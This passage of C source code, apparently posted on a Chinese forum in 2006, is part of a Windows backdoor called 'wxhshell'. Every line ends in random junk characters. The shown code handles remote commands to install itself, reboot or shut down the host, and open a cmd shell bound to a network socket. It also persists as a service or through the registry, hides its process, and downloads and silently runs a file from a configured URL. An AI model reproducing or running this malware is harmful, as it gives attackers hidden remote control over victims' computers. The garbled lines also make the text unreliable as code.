  // 安装 sswYwU  
  case 'i': { Bs7/<$9K/  
    if(Install()) mT  enzIp  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =To}yJ#  
    else 0G@sj7)]  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); h2M>4c  
    break; zq\YZ:JC  
    } *UM=EQaYk  
  // 卸载 +*/XfPlr|  
  case 'r': { 5y3V duE  
    if(Uninstall()) Y v22,|:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); rq=D[vX\N(  
    else rZ}y'A   
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (`%$Aa9J  
    break; c!#DD;<Q  
    } rfj>/?8!@  
  // 显示 wxhshell 所在路径 i%RN0UO^  
  case 'p': { P,1[NW  
    char svExeFile[MAX_PATH]; `x%( n@g  
    strcpy(svExeFile,"\n\r"); N0`v;4gF$]  
      strcat(svExeFile,ExeFile); aN n\URR  
        send(wsh,svExeFile,strlen(svExeFile),0); ?8 dd^iX/  
    break; ;.Dm?J0  
    } v 809/c*  
  // 重启 Ej |rf Y  
  case 'b': { PU| X+V>  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); `yiw<9yp2  
    if(Boot(REBOOT)) Cbw@:+%J{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ig:E` Fe@  
    else { X'BFR]cm  
    closesocket(wsh); ca~nfo  
    ExitThread(0); @nIoYT='  
    } }\+7*|  
    break; q0* e1QL  
    } eAvOT$  
  // 关机 6KT]3*B   
  case 'd': { }@VdtH  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ue?e}hF  
    if(Boot(SHUTDOWN)) ]r 6S|;:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); R`%C]uG  
    else { )L^GGy8w  
    closesocket(wsh); |#uA(V  
    ExitThread(0); @JFfyQ {-  
    } ~cHpA;x9<^  
    break; ;fg8,(SM^  
    } 8#?jYhT7  
  // 获取shell +OGa}9j-  
  case 's': { rK^Sn7U  
    CmdShell(wsh); ShFC@)<lJ  
    closesocket(wsh); 7;]n+QRfm  
    ExitThread(0); i{1SUx+Re  
    break; sw:o3cC]  
  } 3RSiu}  
  // 退出 PWU8 9YXp  
  case 'x': { Rn] `_[)*~  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Na6z1&wS  
    CloseIt(wsh); <K6:"  
    break; iv3=J   
    } Rwu y!F  
  // 离开 }V@ * :3w8  
  case 'q': { 1^F !X=  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); LI`L!6^l  
    closesocket(wsh); x}acxu 2H7  
    WSACleanup(); }ZPO^4H;-  
    exit(1); HfQZRDH  
    break; /HlLfW  
        } &356   
  } SEf:u  
  } "Q{)H8,E)x  
wOfx7D  
  // 提示信息 1Z. D3@  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 4$HU=]b6Tf  
} ~3 ,>TV  
  } OC(S"&D  
'*`25BiQ  
  return; w]<a$C8*y:  
} iR_j h=2{  
x:Mh&dq?  
// shell模块句柄 6R.%I{x'  
int CmdShell(SOCKET sock) l+%2kR  
{ :[hZn/  
STARTUPINFO si; e7T}*Up  
ZeroMemory(&si,sizeof(si)); +`y{r^xD  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ihv=y\Jt  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ly!vbpE_  
PROCESS_INFORMATION ProcessInfo; ]VuB2L[D  
char cmdline[]="cmd"; O/Q7{5n  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); wNNInS6  
  return 0; 0[/GEY@  
} R&lJ& SgC  
UG@9X/l}  
// 自身启动模式 olHT* mr  
int StartFromService(void) 2hD(zUSy  
{ c/K:`XP~  
typedef struct )qyJw N .D  
{ +JDQ`Qk  
  DWORD ExitStatus; X`,=tM  
  DWORD PebBaseAddress; A }(V2  
  DWORD AffinityMask; blUnAu o~  
  DWORD BasePriority; -'q#u C  
  ULONG UniqueProcessId; wW. V>$q  
  ULONG InheritedFromUniqueProcessId; 1=*QMEv1G  
}   PROCESS_BASIC_INFORMATION; ]2Vu+AP  
Z$a5vu*pg  
PROCNTQSIP NtQueryInformationProcess; Z%rMX}  
-^R6U~  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; C'Gj\  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; [UP-BX(  
]RBT9@-:U  
  HANDLE             hProcess; -k4w$0)  
  PROCESS_BASIC_INFORMATION pbi; R]LRgfi9  
5o v F$qn  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); D7X8yv1  
  if(NULL == hInst ) return 0; &3@ {?K  
-[h2fqu1  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); YI877T9>  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); <l#|I'hP  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Lo<-;;vQ  
vZ&{   
  if (!NtQueryInformationProcess) return 0; ZmXO3,sf)  
jyLE  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); l0 Eh?  
  if(!hProcess) return 0; BXzn-S  
9a$\l2  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; C>}@"eK  
Q+ i  
  CloseHandle(hProcess); z(o zMH  
&d%0[Ui`  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); x>C_O\  
if(hProcess==NULL) return 0; g-4m.;  
yA+ NRWWj  
HMODULE hMod; 88]4 GVi  
char procName[255]; NZ|(#` X  
unsigned long cbNeeded; bXiOf#:''  
k}0Y&cT!rU  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 3QD+&9{D  
qcmf*Yl:v  
  CloseHandle(hProcess); [. rULQl  
6d# 7  
if(strstr(procName,"services")) return 1; // 以服务启动 =ws iC'  
Zy J-}[z  
  return 0; // 注册表启动 _l,_NV&T  
} dcn/|"jr  
Ifx EM  
// 主模块 t.s;dlx[@  
int StartWxhshell(LPSTR lpCmdLine) *v}3So  
{ oe4r_EkYwW  
  SOCKET wsl; QEC4!$L^  
BOOL val=TRUE; S;I>W&U  
  int port=0; -ff@W m  
  struct sockaddr_in door; ><HHO (74X  
)j_Y9`R  
  if(wscfg.ws_autoins) Install(); [& d"Z2gK  
u/ Gk>F  
port=atoi(lpCmdLine); /b;GC-"v  
j#f7-nHyz8  
if(port<=0) port=wscfg.ws_port; @L-] %C  
K/;*.u`:  
  WSADATA data; MEI.wJZ  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ,UveH` n-  
aAi "  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   U+4W9zhwo  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); M^6!{c=MIi  
  door.sin_family = AF_INET; C/JFb zVx  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ^e~m`R2fHh  
  door.sin_port = htons(port); b}-/~l-:  
r8wip\[  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { # o;\5MOE%  
closesocket(wsl); N!Q~?/!d  
return 1; \F;  S  
} 5bZjW~d  
e,X {.NS  
  if(listen(wsl,2) == INVALID_SOCKET) { yu.N>[=  
closesocket(wsl); ~%D=\iE  
return 1; K^yZfpa8  
} bC SgdK  
  Wxhshell(wsl); &F 3'tf?  
  WSACleanup(); `h(*D   
&Sr7?u`k  
return 0; U4.- {.  
Kqn{q4L  
} -qDM(zR  
RAs5<US:  
// 以NT服务方式启动 c_N'S_)~7Q  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ;;]^d_  
{ QcN$TxU>  
DWORD   status = 0; QqdVN3# 1z  
  DWORD   specificError = 0xfffffff; &2Q0ii#Aa  
Y@#rGV>  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 9^zA(  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; SO#R5Mu2N  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; R)Y*<Na  
  serviceStatus.dwWin32ExitCode     = 0; F8* zG 4/&  
  serviceStatus.dwServiceSpecificExitCode = 0; 5;:964Et  
  serviceStatus.dwCheckPoint       = 0; G,-x+e"  
  serviceStatus.dwWaitHint       = 0; 66Tx>c"H  
cg| C S?  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); qN@-H6D1=  
  if (hServiceStatusHandle==0) return; _yu_Ev}R  
Mv1V Vk  
status = GetLastError(); ln*_mM/Q%  
  if (status!=NO_ERROR) '7ps_pz  
{ 9C"d7--  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ';J><z{>  
    serviceStatus.dwCheckPoint       = 0; {sR|W:fS$  
    serviceStatus.dwWaitHint       = 0; 79y'PFSms  
    serviceStatus.dwWin32ExitCode     = status; b'mp$lt!  
    serviceStatus.dwServiceSpecificExitCode = specificError; [CAV"u)0  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); sI% =G3o=  
    return; ?>}&,:U}   
  } MVYf-'\^  
Pf?zszvs  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; h;RKF\U:"  
  serviceStatus.dwCheckPoint       = 0; J12hjzk6@  
  serviceStatus.dwWaitHint       = 0; K."h}f95  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); [ }1+=Ub  
} ,enU`}9V*  
=AVr<kP  
// 处理NT服务事件,比如:启动、停止 XT<{J8 0z  
VOID WINAPI NTServiceHandler(DWORD fdwControl) s4kkzTnXE3  
{ y7LT;`A  
switch(fdwControl) f{j.jfl\x  
{ c%O8h  
case SERVICE_CONTROL_STOP: .G/2CVMj  
  serviceStatus.dwWin32ExitCode = 0; ,nnVHBN  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; =L F9im  
  serviceStatus.dwCheckPoint   = 0;  +}-Ecr  
  serviceStatus.dwWaitHint     = 0; ,2/y(JX}*!  
  { %7n(>em  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); slRD /  
  } iL\eMa  
  return; <`Q*I Y  
case SERVICE_CONTROL_PAUSE: n| [RXpAp3  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; jv5Os-  
  break; jC3)^E@:"  
case SERVICE_CONTROL_CONTINUE: 8r-'m%l  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; <}z, !w8  
  break; ,EuJ0]2  
case SERVICE_CONTROL_INTERROGATE: SBog7An9SI  
  break; y'21)P  
}; IHaNg K2  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?T\_"G  
} xZ.c@u6:  
t^KoqJ  
// 标准应用程序主函数 G&f~A;'7k  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) go[(N6hN  
{ zSM;N^X8?  
(Tbw@BFk  
// 获取操作系统版本 5:6]ZFW  
OsIsNt=GetOsVer(); @, %IVKg\  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 18{" @<wIs  
-< RG'I~  
  // 从命令行安装 S mjg[  
  if(strpbrk(lpCmdLine,"iI")) Install(); 48t_?2>  
=j$!N# L  
  // 下载执行文件 %Tvy|L ,  
if(wscfg.ws_downexe) { ye^l~  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ^N2N>^'&1.  
  WinExec(wscfg.ws_filenam,SW_HIDE); .V'=z|   
} [T>a}}@  
<&Q(I+^  
if(!OsIsNt) { Ljq!\D  
// 如果时win9x,隐藏进程并且设置为注册表启动 dLnu\bSF  
HideProc(); ,f2tG+P  
StartWxhshell(lpCmdLine); [7|j:!  
} { kF"<W  
else szG0?e  
  if(StartFromService()) *LZ^0c:r  
  // 以服务方式启动 vi-mn)L6#  
  StartServiceCtrlDispatcher(DispatchTable); %I>-_el  
else Or9`E(  
  // 普通方式启动 q(YFt*(;w  
  StartWxhshell(lpCmdLine); A=a~ [vre  
gXThdNU4G  
return 0; o;\c$|TNU  
}
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只看该作者 1 发表于: 2006-10-10
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